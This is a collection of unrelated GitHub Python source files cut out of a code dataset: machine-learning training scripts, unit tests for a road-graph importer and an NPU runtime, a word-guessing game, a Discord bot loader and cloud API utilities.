self).__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(in_channels=1, out_channels=16, kernel_size=5, stride=1, padding=2,),\n nn.ReLU(), nn.MaxPool2d(kernel_size=2),)\n self.conv2 = nn.Sequential(nn.Conv2d(16, 32, 5, 1, 2), nn.ReLU(), nn.MaxPool2d(2),)\n self.out = nn.Linear(32 * 7 * 7, 25)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = x.view(x.size(0), -1)\n output = self.out(x)\n return output,x\n\ncnn = CNN()\n\ncnn.cuda() # Moves all model parameters and buffers to the GPU.\n\noptimizer = torch.optim.Adam(cnn.parameters(), lr=LR)\nloss_func = nn.CrossEntropyLoss()\n\nfrom matplotlib import cm\ntry: from sklearn.manifold import TSNE; HAS_SK = True\nexcept: HAS_SK = False; print('Please install sklearn for layer visualization')\ndef plot_with_labels(lowDWeights, labels):\n plt.cla()\n X, Y = lowDWeights[:, 0], lowDWeights[:, 1]\n for x, y, s in zip(X, Y, labels):\n c = cm.rainbow(int(255 * s / 9)); plt.text(x, y, s, backgroundcolor=c, fontsize=9)\n plt.xlim(X.min(), X.max()); plt.ylim(Y.min(), Y.max()); plt.title('Visualize last layer'); plt.show(); plt.pause(0.01)\n\nfor valid_x,valid_y in valid_loader:\n print(valid_x.shape)\n print(valid_y.size(0))\nfor epoch in range(EPOCH):\n for step, (x, y) in enumerate(train_loader):\n b_x = x.cuda().type(torch.cuda.FloatTensor) # Tensor on GPU\n b_y = y.cuda() # Tensor on GPU\n output = cnn(b_x)[0]\n loss = loss_func(output, b_y)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n accuracy=0.0\n sum_data=0.0\n for valid_x,valid_y in valid_loader:\n valid_x=valid_x.cuda().type(torch.cuda.FloatTensor)\n valid_y=valid_y.cuda() \n valid_output, last_layer = cnn(valid_x)\n pred_y = torch.max(valid_output, 1)[1].cuda().data # move the computation in GPU\n\n accuracy += torch.sum(pred_y == valid_y).type(torch.FloatTensor) \n sum_data+=valid_y.size(0)\n accuracy=accuracy/sum_data\n if accuracy>BEST_VALID_ACC:\n BEST_VALID_ACC=accuracy\n print('Epoch: ', epoch, '| train loss: %.4f' % loss.data.cpu().numpy(), '| valid accuracy: %.4f' % accuracy)\n\nprint('Best valid accuracy: %.4f' %BEST_VALID_ACC)\n\n","repo_name":"XSiling/Sketch-Classification","sub_path":"code/CNN/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"746790377","text":"import sys\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\n\narr = list(map(int, input().split()))\narray = [0]\nfor i, a in enumerate(arr):\n array.append(array[i] + a)\ni = 0\nj = 1\nanswer = 0\n\nwhile 1:\n if j > len(arr):\n break\n tmp = array[j] - array[i]\n if tmp == m:\n answer += 1\n i += 1\n j += 1\n elif tmp > m:\n i += 1\n else:\n j += 1\n\nprint(answer)\n\n\n\n\n","repo_name":"qbinee/Baekjoon","sub_path":"two pointer/2003.py","file_name":"2003.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29258463527","text":"import os\nimport tarfile\n\nimport pytest\n\nfrom mapreduce.yt.python.yt_stuff import YtConfig\nimport yatest.common\n\nfrom yandex.maps.geolib3 import Point2, Polyline2, SpatialReference\nfrom maps.libs.road_graph_import_yt.pylib.graph_import import build_topology\n\nSPATIAL_REFERENCE = SpatialReference.Epsg4326\n\nGEODATA_6_BIN_PATH = yatest.common.binary_path(\n \"geobase/data/v6/geodata6.bin\")\nTZDATA_TAR_GZ_PATH = yatest.common.binary_path(\n \"maps/data/test/tzdata/tzdata.tar.gz\")\nTZDATA_PATH = yatest.common.output_path(\"tzdata\")\nTZDATA_ZONES_BIN_PATH = os.path.join(TZDATA_PATH, \"zones_bin\")\n\n\n@pytest.fixture(scope=\"module\")\ndef yt_config(request):\n return YtConfig(\n enable_debug_logging=True,\n )\n\n\ndef encode(geometry):\n return geometry.to_EWKB(SPATIAL_REFERENCE).hex().upper()\n\n\ndef decode_point(hex_encoded_ewkb):\n return Point2.from_EWKB(bytes.fromhex(hex_encoded_ewkb))\n\n\ndef decode_polyline(hex_encoded_ewkb):\n return Polyline2.from_EWKB(bytes.fromhex(hex_encoded_ewkb))\n\n\ndef make_rd_jc_dict(rd_jc_id, point):\n return {\n \"rd_jc_id\": rd_jc_id,\n \"shape\": encode(point),\n \"x\": point.x,\n \"y\": point.y,\n }\n\n\ndef pt(x, y):\n \"\"\"Create a point on a grid.\n\n Points created this way are relatively close to each other. So, the\n polylines built around them are probably not going to be split in segments.\n \"\"\"\n\n return Point2(0.0001 * x, 0.0001 * y)\n\n\ndef make_rd_el_dict(\n rd_el_id, f_rd_jc_id, t_rd_jc_id, isocode, source_point, target_point):\n polyline = Polyline2()\n polyline.add(source_point)\n polyline.add(target_point)\n\n return {\n \"rd_el_id\": rd_el_id,\n \"f_rd_jc_id\": f_rd_jc_id,\n \"t_rd_jc_id\": t_rd_jc_id,\n \"fc\": 3,\n \"fow\": 0,\n \"speed_cat\": 5,\n \"speed_limit\": 60,\n \"f_zlev\": 0,\n \"t_zlev\": 0,\n \"oneway\": \"B\",\n \"access_id\": 63,\n \"back_bus\": 0,\n \"forward_bus\": 0,\n \"back_taxi\": 0,\n \"forward_taxi\": 0,\n \"residential\": 0,\n \"restricted_for_trucks\": 0,\n \"paved\": 1,\n \"poor_condition\": 0,\n \"stairs\": 0,\n \"sidewalk\": \"B\",\n \"struct_type\": 0,\n \"ferry\": 0,\n \"dr\": 0,\n \"toll\": 0,\n \"srv_ra\": 0,\n \"srv_uc\": 0,\n \"isocode\": isocode,\n \"subcode\": None,\n \"shape\": encode(polyline),\n \"xmin\": polyline.bounding_box().min_x,\n \"xmax\": polyline.bounding_box().max_x,\n \"ymin\": polyline.bounding_box().min_y,\n \"ymax\": polyline.bounding_box().max_y,\n \"speed_limit_f\": None,\n \"speed_limit_t\": None,\n \"speed_limit_truck_f\": None,\n \"speed_limit_truck_t\": None,\n }\n\n\n#\n# Region 1 Region 2 Result\n# (old) (new)\n#\n# [2]-[6] [2]-[6]\n# | / |\n# [4]-[2] | [4] |\n# | | |\n# [3]-[1] [1]-[5] [3]-[1]-[5]\n#\n# isocode isocode isocode\n# RU ZZ RU for 1-2, 1-3, 2-4\n# ZZ for 1-5, 2-6\n#\n# Edge 1-2 is imported with new geometry, but \"old\" isocode.\n#\n\ndef prepare_data(yt_client):\n yt_client.create(\"table\", \"//ymapsdf/region_1/rd_jc\", recursive=True)\n yt_client.write_table(\n \"//ymapsdf/region_1/rd_jc\",\n [\n make_rd_jc_dict(rd_jc_id=1, point=pt(0, 0)),\n make_rd_jc_dict(rd_jc_id=2, point=pt(0, 1)),\n make_rd_jc_dict(rd_jc_id=3, point=pt(-1, 0)),\n make_rd_jc_dict(rd_jc_id=4, point=pt(-1, 1)),\n ])\n\n yt_client.create(\"table\", \"//ymapsdf/region_1/rd_el\", recursive=True)\n yt_client.write_table(\n \"//ymapsdf/region_1/rd_el\",\n [\n make_rd_el_dict(1, 1, 2, \"RU\", pt(0, 0), pt(0, 1)),\n make_rd_el_dict(2, 1, 3, \"RU\", pt(0, 0), pt(-1, 0)),\n make_rd_el_dict(3, 2, 4, \"RU\", pt(0, 1), pt(-1, 1)),\n ])\n\n yt_client.create(\"table\", \"//ymapsdf/region_2/rd_jc\", recursive=True)\n yt_client.write_table(\n \"//ymapsdf/region_2/rd_jc\",\n [\n make_rd_jc_dict(rd_jc_id=1, point=pt(0, 0)),\n make_rd_jc_dict(rd_jc_id=2, point=pt(0, 2)),\n make_rd_jc_dict(rd_jc_id=5, point=pt(1, 0)),\n make_rd_jc_dict(rd_jc_id=6, point=pt(1, 2)),\n ])\n\n yt_client.create(\"table\", \"//ymapsdf/region_2/rd_el\", recursive=True)\n yt_client.write_table(\n \"//ymapsdf/region_2/rd_el\",\n [\n make_rd_el_dict(1, 1, 2, \"ZZ\", pt(0, 0), pt(0, 2)),\n make_rd_el_dict(4, 1, 5, \"ZZ\", pt(0, 0), pt(1, 0)),\n make_rd_el_dict(5, 2, 6, \"ZZ\", pt(0, 2), pt(1, 2)),\n ])\n\n\ndef test_region_merge(yt_stuff):\n with tarfile.open(TZDATA_TAR_GZ_PATH) as tzdata_archive:\n tzdata_archive.extractall(TZDATA_PATH)\n\n yt_client = yt_stuff.get_yt_client()\n prepare_data(yt_client)\n\n os.environ[\"YT_PROXY\"] = yt_stuff.get_server()\n build_topology(\n desiredAccessId=[\"auto\", \"taxi\", \"truck\"],\n geodata6Path=GEODATA_6_BIN_PATH,\n tzdataZonesBinPath=TZDATA_ZONES_BIN_PATH,\n rdElTables=[\n \"//ymapsdf/region_2/rd_el\",\n \"//ymapsdf/region_1/rd_el\",\n ],\n rdJcTables=[\n \"//ymapsdf/region_2/rd_jc\",\n \"//ymapsdf/region_1/rd_jc\",\n ],\n outputEdgesTable=\"//output/edges\",\n outputVerticesTable=\"//output/vertices\",\n outputProblematicRdJcTable=\"//output/problematic_rd_jc\")\n\n points = {}\n for row in yt_client.read_table(\"//output/vertices\"):\n points[row[\"rd_jc_id\"]] = decode_point(row[\"shape\"])\n\n assert len(points) == 6\n\n assert points[1] == pt(0, 0)\n assert points[2] == pt(0, 2)\n assert points[3] == pt(-1, 0)\n assert points[4] == pt(-1, 1)\n assert points[5] == pt(1, 0)\n assert points[6] == pt(1, 2)\n\n problematic_points = {}\n for row in yt_client.read_table(\"//output/problematic_rd_jc\"):\n problematic_points[row[\"rd_jc_id\"]] = decode_point(row[\"shape\"])\n\n assert len(problematic_points) == 1\n assert problematic_points[2] == pt(0, 2)\n\n forward_edges = {}\n reverse_edges = {}\n for row in yt_client.read_table(\"//output/edges\"):\n if row[\"reversed\"]:\n reverse_edges[row[\"rd_el_id\"]] = row\n else:\n forward_edges[row[\"rd_el_id\"]] = row\n\n assert len(forward_edges) == 5\n assert len(reverse_edges) == 5\n\n def check_rd_el(rd_el_id, f_rd_jc_id, t_rd_jc_id, isocode):\n assert forward_edges[rd_el_id][\"f_rd_jc_id\"] == f_rd_jc_id\n assert forward_edges[rd_el_id][\"t_rd_jc_id\"] == t_rd_jc_id\n assert reverse_edges[rd_el_id][\"f_rd_jc_id\"] == t_rd_jc_id\n assert reverse_edges[rd_el_id][\"t_rd_jc_id\"] == f_rd_jc_id\n\n forward_polyline = Polyline2()\n forward_polyline.add(points[f_rd_jc_id])\n forward_polyline.add(points[t_rd_jc_id])\n\n reverse_polyline = Polyline2()\n reverse_polyline.add(points[t_rd_jc_id])\n reverse_polyline.add(points[f_rd_jc_id])\n\n assert forward_edges[rd_el_id][\"shape\"] == encode(forward_polyline)\n assert reverse_edges[rd_el_id][\"shape\"] == encode(reverse_polyline)\n\n assert forward_edges[rd_el_id][\"isocode\"] == isocode\n assert reverse_edges[rd_el_id][\"isocode\"] == isocode\n\n check_rd_el(1, 1, 2, \"RU\")\n check_rd_el(2, 1, 3, \"RU\")\n check_rd_el(3, 2, 4, \"RU\")\n check_rd_el(4, 1, 5, \"ZZ\")\n check_rd_el(5, 2, 6, \"ZZ\")\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests_with_local_yt/region_merge_test.py","file_name":"region_merge_test.py","file_ext":"py","file_size_in_byte":7404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17261284107","text":"import cv2\nimport joblib\nimport numpy as np\nfrom tensorflow import keras\n\ndef main():\n mnist = keras.datasets.mnist\n (X_train, Y_train), (X_test, Y_test) = mnist.load_data()\n\n index = np.random.randint(0, 9999, 100)\n sample = np.zeros((100, 28, 28), np.uint8)\n for i in range(0, 100):\n sample[i] = X_test[index[i]]\n\n # 784 = 28x28\n RESHAPED = 784\n sample = sample.reshape(100, RESHAPED)\n knn = joblib.load(\"Model/knn_mnist.pkl\")\n predicted = knn.predict(sample)\n k = 0\n for x in range(0, 10):\n for y in range(0, 10):\n st.write('%2d' % (predicted[k]), end='')\n k = k + 1\n print()\n\n digit = np.zeros((10 * 28, 10 * 28), np.uint8)\n k = 0\n for x in range(0, 10):\n for y in range(0, 10):\n digit[x * 28:(x + 1) * 28, y * 28:(y + 1) * 28] = X_test[index[k]]\n k = k + 1\n\n cv2.imshow('Digit', digit)\n cv2.waitKey(0)\n\ndef executeThisFunction():\n currentDir = os.path.abspath(os.path.dirname(__file__))\n filepath = os.path.join(currentDir, \"../assets/images/KNN/castle.jpg\")\n image = Image.open(filepath)\n st.image(image, caption='', use_column_width=True)\n","repo_name":"Khowfsix/finalProject_MachineLearning","sub_path":"bruh/KNN/Bai03a.py","file_name":"Bai03a.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"44049250984","text":"from pyxdh.Utilities import DipoleDerivGenerator, NumericDiff\nfrom pyxdh.Utilities.test_molecules import Mol_H2O2\nfrom pyxdh.DerivOnce import DipoleXDH\nfrom pyscf import scf\nimport pickle\n\n\ndef dipole_generator(component, interval):\n H2O2_sc = Mol_H2O2(xc=\"B3LYPg\")\n H2O2_nc = Mol_H2O2(xc=\"0.8033*HF - 0.0140*LDA + 0.2107*B88, 0.6789*LYP\")\n mol = H2O2_sc.mol\n\n def get_hcore(mol=mol):\n return scf.rhf.get_hcore(mol) - interval * mol.intor(\"int1e_r\")[component]\n\n H2O2_sc.gga_eng.get_hcore = get_hcore\n H2O2_nc.gga_eng.get_hcore = get_hcore\n\n config = {\n \"scf_eng\": H2O2_sc.gga_eng,\n \"nc_eng\": H2O2_nc.gga_eng,\n \"cc\": 0.3211,\n }\n helper = DipoleXDH(config)\n return helper\n\n\nif __name__ == '__main__':\n\n num_obj = DipoleDerivGenerator(dipole_generator)\n num_dif = NumericDiff(num_obj, lambda helper: helper.E_1)\n\n result_dict = {\"polarizability\": - num_dif.derivative}\n\n with open(\"xdh_polarizability_xyg3.dat\", \"wb\") as f:\n pickle.dump(result_dict, f, pickle.HIGHEST_PROTOCOL)\n","repo_name":"ajz34/Py_xDH","sub_path":"pyxdh/Validation/numerical_deriv/xdh_polarizability_xyg3.py","file_name":"xdh_polarizability_xyg3.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"3"} +{"seq_id":"25535780517","text":"import random\nimport unittest\n\nimport mnist\nimport numpy as np\n\nfrom furiosa.runtime import errors, session\nfrom tests.test_base import MNIST_ONNX, AsyncSessionTester, ensure_test_device\n\nNPU_DEVICE_READY = ensure_test_device()\n\n\nclass TestAsyncSession(unittest.TestCase):\n mnist_images = mnist.train_images().reshape((60000, 1, 28, 28)).astype(np.float32)\n\n @classmethod\n def setUpClass(cls):\n cls.tester = AsyncSessionTester(MNIST_ONNX)\n\n @classmethod\n def tearDownClass(cls):\n cls.tester.close()\n\n def test_run_async(self):\n async_sess = self.tester.session\n\n self.assertEqual(\n async_sess.summary(),\n \"\"\"\\\nInputs:\n{0: TensorDesc(name=\"Input3\", shape=(1, 1, 28, 28), dtype=FLOAT32, format=NCHW, size=3136, len=784)}\nOutputs:\n{0: TensorDesc(name=\"Plus214_Output_0\", shape=(1, 10), dtype=FLOAT32, format=??, size=40, len=10)}\"\"\",\n )\n\n items = 50\n for i in range(0, items):\n idx = random.randrange(0, 9999, 1)\n ndarray_value = self.mnist_images[idx : idx + 1]\n\n self.assertEqual(ndarray_value.shape, async_sess.input(0).shape)\n self.assertEqual(ndarray_value.dtype, async_sess.input(0).dtype.numpy_dtype)\n\n async_sess.submit([ndarray_value], i)\n\n keys = set()\n for key, _ in self.tester.queue:\n keys.add(key)\n\n if len(keys) == items:\n break\n\n self.assertEqual(set(range(0, items)), keys)\n\n\nclass TestAsyncSessionExceptions(unittest.TestCase):\n def test_create(self):\n sess = None\n queue = None\n try:\n sess, queue = session.create_async(\n MNIST_ONNX,\n worker_num=1,\n input_queue_size=1,\n output_queue_size=1,\n compiler_config={\"allow_precision_error\": True},\n )\n finally:\n if queue:\n queue.close()\n if sess:\n sess.close()\n\n def test_next_with_timeout(self):\n nux_sess = None\n nux_queue = None\n try:\n nux_sess, nux_queue = session.create_async(model=MNIST_ONNX)\n self.assertRaises(errors.QueueWaitTimeout, lambda: nux_queue.recv(timeout=100))\n self.assertRaises(errors.QueueWaitTimeout, lambda: nux_queue.recv(timeout=int(0)))\n nux_sess.close()\n self.assertRaises(errors.SessionTerminated, lambda: nux_queue.recv())\n self.assertRaises(errors.SessionTerminated, lambda: nux_queue.recv(timeout=0))\n self.assertRaises(errors.SessionTerminated, lambda: nux_queue.recv(timeout=100))\n except:\n if nux_sess:\n nux_sess.close()\n if nux_queue:\n nux_queue.close()\n\n\n@unittest.skipIf(not NPU_DEVICE_READY, \"No NPU device\")\nclass TestDeviceBusy(unittest.TestCase):\n def test_device_busy(self):\n sess = None\n queue = None\n try:\n sess, queue = session.create_async(MNIST_ONNX)\n self.assertRaises(errors.DeviceBusy, lambda: session.create_async(MNIST_ONNX))\n finally:\n if sess:\n sess.close()\n if queue:\n queue.close()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"seoyoung-furiosa/furiosa-sdk","sub_path":"python/furiosa-runtime/tests/test_async_session.py","file_name":"test_async_session.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"7673693630","text":"import matplotlib.pyplot as plt\nfrom tools import *\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n\n# 绘图变量\nloss_train_xs, loss_train_ys = [], []\nloss_test_xs, loss_test_ys = [], []\nacc_train_xs, acc_train_ys = [], []\nacc_test_xs, acc_test_ys = [], []\n\n\ndef main():\n # [batch, 3, len, wid]\n train_db = MyDataset('data\\\\train', 224)\n test_db = MyDataset('data\\\\test', 224)\n\n # assert False, 'break'\n train_loader = DataLoader(train_db, batch_size=batch_size, shuffle=True)\n test_loader = DataLoader(test_db, batch_size=batch_size, shuffle=False)\n ''' 测试输入输出维度的代码\n net = MyNet()\n tmp = torch.randn(32, 3, 224, 224)\n out = net(tmp)\n print('out:', out.shape)\n print('--------------------------------')\n '''\n\n # 令程序跑在GPU上，参数初始化\n assert torch.cuda.is_available(), 'cuda error'\n device = torch.device('cuda:0')\n # 选择模型并初始化\n if model_type:\n model = Resnet18().to(device)\n else:\n model = MyCNN().to(device)\n # 选择优化器并初始化\n criterion = nn.CrossEntropyLoss()\n if optim_type:\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n else:\n optimizer = optim.SGD(model.parameters(), lr=learning_rate)\n # print(model) # 打印模型参数\n\n # 开始训练\n for epoch in range(epoch_nums):\n train_average_loss, test_average_loss = 0.0, 0.0\n train_total_correct, test_total_correct = 0.0, 0.0\n train_total_num, test_total_num = 0.0, 0.0\n\n # train\n model.train()\n for batchidx, (x, label) in enumerate(train_loader):\n x, label = x.to(device), label.to(device)\n\n logits = model(x)\n pred = logits.argmax(dim=1)\n train_total_correct += torch.eq(pred, label).float().sum().item()\n train_total_num += x.size(0)\n # logits: [batch_size, 5], label: [batch_size]\n loss = criterion(logits, label)\n train_average_loss += loss.item()\n # 反向传播部分\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n train_acc = train_total_correct / train_total_num\n train_average_loss /= len(train_loader)\n print('epoch', epoch, ': train_loss ->', train_average_loss, end='\\t\\t')\n print('epoch', epoch, ': train_accuracy ->', train_acc)\n loss_train_xs.append(epoch), loss_train_ys.append(train_average_loss)\n acc_train_xs.append(epoch), acc_train_ys.append(train_acc)\n\n\n # test 无需 backprop\n model.eval()\n with torch.no_grad():\n for x, label in test_loader:\n x, label = x.to(device), label.to(device)\n logits = model(x)\n pred = logits.argmax(dim=1)\n test_total_correct += torch.eq(pred, label).float().sum().item()\n test_total_num += x.size(0)\n\n loss = criterion(logits, label)\n test_average_loss += loss.item()\n\n test_acc = test_total_correct / test_total_num\n test_average_loss /= len(test_loader)\n print('epoch', epoch, ': test_loss ->', test_average_loss, end='\\t\\t')\n print('epoch', epoch, ': test_accuracy ->', test_acc)\n loss_test_xs.append(epoch), loss_test_ys.append(test_average_loss)\n acc_test_xs.append(epoch), acc_test_ys.append(test_acc)\n print('-------------------------------------------------------------')\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n # 绘图部分\n plt.title('loss function')\n plt.plot(loss_train_xs, loss_train_ys, label='train')\n plt.plot(loss_test_xs, loss_test_ys, label='test')\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.legend()\n plt.show()\n\n plt.title('accuracy function')\n plt.plot(acc_train_xs, acc_train_ys, label='train')\n plt.plot(acc_test_xs, acc_test_ys, label='test')\n plt.xlabel('epoch')\n plt.ylabel('accuracy')\n plt.legend()\n plt.show()\n\n","repo_name":"kyle-ward/University","sub_path":"Artificial Intelligence/11. pytorch/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39933943727","text":"# Homework 2\n# CS 4395 NLP\n# Zubair Shaik\n\nimport pathlib\nimport sys\nimport nltk\nfrom nltk import word_tokenize, WordNetLemmatizer\nfrom nltk.corpus import stopwords\nfrom nltk.text import Text\nfrom random import seed\nfrom random import randint\n\n\n# this is the word guessing game function which inputs the list of words\ndef guessingGame(wordBank):\n seed(1234)\n userScore = 5\n print('Lets play a word guessing game!')\n # start the game here and only exit when input is ! or user has negative score\n while True:\n # get the random work from the list and create an empty list with underscores in place of letters\n wordToGuess = wordBank[randint(1, 49)]\n numberOfLetters = len(wordToGuess)\n wordSoFar = []\n for i in range(numberOfLetters):\n wordSoFar.append('_ ')\n print('_ ', end='')\n print('')\n currLetter = ''\n # this loop is to let the user guess another letter until they win or lose\n while userScore > 0 and numberOfLetters > 0:\n currLetter = input('Guess a letter or type ! to exit the game: ')\n if currLetter == '!':\n break\n isGuessTrue = False\n # check if the letter is in the word by going through the for loop\n for i in range(len(wordToGuess)):\n # if the word is in the letter and hasnt already been guessed update the values\n if wordSoFar[i] == '_ ' and wordToGuess[i] == currLetter:\n isGuessTrue = True\n wordSoFar[i] = currLetter\n numberOfLetters -= 1\n # if the letter guessed is correct update the values and output the word with the added letters\n if isGuessTrue:\n userScore += 1\n print('Right! Score is', userScore)\n for letter in wordSoFar:\n print(letter, end='')\n print('')\n # this means the word has been solved and the game is complete\n if numberOfLetters == 0:\n print('You solved it! ')\n print('Current score: ', userScore)\n print('Guess another word')\n else:\n userScore -= 1\n print('Sorry guess again. Score is ', userScore)\n # this means the user ran out of guesses and the game ends here\n if userScore == 0:\n print('Game Over')\n print('The answer was: ', wordToGuess)\n break\n for letter in wordSoFar:\n print(letter, end='')\n print('')\n # these are the exit conditions for the game\n if currLetter == '!' or userScore == 0:\n break\n return\n\n\ndef preprocessText(text):\n # tokenize the words followed by lowercase them\n tokens = word_tokenize(text)\n tokens = [t.lower() for t in tokens if t.isalpha()]\n\n # filter out non alpha tokens, tokens that are stopwords, and tokens that are less than 5 letters long\n tokens = [t for t in tokens if t.isalpha() and\n t not in stopwords.words('english') and len(t) > 5]\n\n # get the lemmas from the tokens with wnl, and then create a list of unique lemmas\n wnl = WordNetLemmatizer()\n lemmas = [wnl.lemmatize(t) for t in tokens]\n lemmas_unique = list(set(lemmas))\n\n # get the pos for the lemmas\n tags = nltk.pos_tag(lemmas_unique)\n\n print(\"\\nSome tagged words are:POS\\n\", tags[:20])\n\n # get all the nouns from the tags list and return them to the main function\n nouns = list()\n for token, pos in tags:\n if pos == 'NN':\n curr = [token, pos]\n nouns.append(curr)\n print(\"\\nThe number of tokens are: \", len(tokens))\n print(\"\\nThe number of nouns are: \", len(nouns))\n return tokens, nouns\n\n\n# This is the main driver function that starts the program and reads and writes to the pickle file\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('Please enter a filename as a system arg')\n quit()\n\n rel_path = sys.argv[1]\n with open(pathlib.Path.cwd().joinpath(rel_path), 'r') as f:\n text_in = f.read()\n\n # remove newline characters\n text = text_in.replace('\\n', ' ')\n\n tokens = word_tokenize(text)\n\n # lowercase, get rid of punctuation, numbers\n tokens = [t.lower() for t in tokens if t.isalpha()]\n\n # create unique set of tokens\n setOfTokens = set(tokens)\n text_const = Text(tokens)\n\n print(\"\\nLexical diversity: %.2f\" % (len(setOfTokens) / len(tokens)))\n\n # pass in the raw text to the processor function to tokenize and lemmatize it and return nouns\n tokens, nouns = preprocessText(text)\n\n pos_dict = {}\n\n # fill in the dictionary with nouns and the occurrences of them as values\n for token, pos in nouns:\n count = 0\n for word in tokens:\n if word == token:\n count += 1\n pos_dict[token] = count\n\n top50 = 50\n wordBank = []\n # output the top 50 highest occuring nouns from the dict\n for pos in sorted(pos_dict, key=pos_dict.get, reverse=True):\n print(top50, ': ', pos, ':', pos_dict[pos], 'occurrences')\n wordBank.append(pos)\n top50 -= 1\n if top50 == 0:\n break\n print('')\n # Starting the word guessing game by calling the function and passing in the list of words\n guessingGame(wordBank)\n","repo_name":"ZubairShaik7/NLP_Portfolio","sub_path":"NLP_Homework2/zas180004_hw2.py","file_name":"zas180004_hw2.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31069465761","text":"import discord\nfrom discord.ext import commands\nimport os\nimport python.cogs\nimport python.events\nimport python.utils\n\nextensions = [\n 'python.cogs.general',\n 'python.cogs.teams',\n 'python.cogs.stats',\n 'python.cogs.admin',\n 'python.cogs.owner',\n 'python.events.events',\n 'python.events.events'\n]\n\nbot = commands.Bot(command_prefix='!')\n\nif __name__ == '__main__':\n for ext in extensions:\n try:\n bot.load_extension(ext)\n except Exception as e:\n print(f\"failed to load extension {ext}.\\n\" + str(e))\n\n#To whomever may read or edit any code contained in this project,\n#I apologize.\n#-Nick Greene\n\n@bot.event\nasync def on_ready():\n print('Logged in as')\n print(bot.user.name)\n print(bot.user.id)\n print('------')\n\n listen_act = discord.Activity(name='!help', type=discord.ActivityType.listening)\n await bot.change_presence(activity=listen_act)\n bot.appinfo = await bot.application_info()\n\ntoken = os.environ['DISCORD_TOKEN']\nbot.run(token)\n","repo_name":"j4grmeister/competitive-gaming-league","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10000124066","text":"import apikey\nimport publicip as pip\nimport svcoperation as svop\nimport makesig\nAPI_URL = \"https://ncloud.apigw.gov-ntruss.com\"\n# API_URL = \"https://ncloud.apigw.ntruss.com\"\na = pip.publicip()\nb = svop.svcoperation()\n\ntypeoper = input(\"type oper: \")\nif typeoper == \"pubip\":\n while True:\n try:\n oper = input('Operate: ')\n if oper == 'delete':\n uri = a.delete()\n print(uri)\n print(\"delete done\")\n elif oper == 'create':\n get_list = a.create()\n uri = get_list[0]\n count = get_list[1]\n for i in range(count):\n print(uri)\n print(\"create done\")\n elif oper == 'associate':\n for i in a.associate():\n print(i)\n print(\"associate done\")\n elif oper == 'disassociate':\n for i in a.disassociate():\n print(i)\n print(\"disassociate done\")\n elif oper == 'exit' or oper == 'quit':\n break;\n except Exception as e:\n print(\"error: \", e)\nelif typeoper == \"svcoper\":\n while True:\n try:\n oper = input('Operate: ')\n if oper == 'status':\n nolist = b.svcstatus()\n re = makesig.send(apikey.G_access_key,apikey.G_secret_key,nolist,API_URL)\n re1 = re[\"getServerInstanceListResponse\"]\n print(\"return Message: \"+re1[\"returnMessage\"],\"total count: \"+str(re1[\"totalRows\"]))\n run = 0\n notrun = 0\n for i in re1[\"serverInstanceList\"]:\n if i[\"serverInstanceStatus\"][\"code\"].find('RUN') != -1:\n print(i[\"serverName\"] + ' / ' + i[\"serverInstanceStatus\"][\"codeName\"])\n run = run + 1\n else:\n print('==' + i[\"serverName\"] + ' / ' + i[\"serverInstanceStatus\"][\"codeName\"])\n notrun = notrun + 1\n print(\"RUN: {}, NOTRUN {}\".format(run, notrun)+'\\n')\n # print(i[\"serverName\"],i[\"serverInstanceStatus\"][\"codeName\"])\n elif oper == 'stop':\n # nolist = b.svcstop()\n # re = makesig.send(apikey.G_access_key, apikey.G_secret_key, nolist, API_URL)\n # re1 = re[\"stopServerInstancesResponse\"]\n # print(\"return Message: \" + re1[\"returnMessage\"], \"total count: \" + str(re1[\"totalRows\"]))\n print(b.svcstop())\n elif oper == 'restart':\n print(b.svcrestart())\n elif oper == 'start':\n # nolist = b.svcstart()\n # re = makesig.send(apikey.G_access_key, apikey.G_secret_key, nolist, API_URL)\n # re1 = re[\"startServerInstancesResponse\"]\n # print(\"return Message: \" + re1[\"returnMessage\"], \"total count: \" + str(re1[\"totalRows\"]))\n print(b.svcstart())\n elif oper == 'exit' or oper == 'quit':\n break;\n except Exception as e:\n print(\"error: \", e)\nelif typeoper == \"exit\" or typeoper == 'quit':\n print('bye')","repo_name":"songsi22/ncp_api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"338768407","text":"from django.utils import simplejson\nimport urllib\nimport base64\n\nAPI_KEY = '1c5bc30783866fee7a0bda498abfd281'\nBASE_URL = 'http://api.imgur.com/2/%s.json'\n\ndef upload(image):\n if type(image) in [str, unicode]:\n data_dict = {'key': API_KEY, 'image': image}\n else:\n data_dict = {'key': 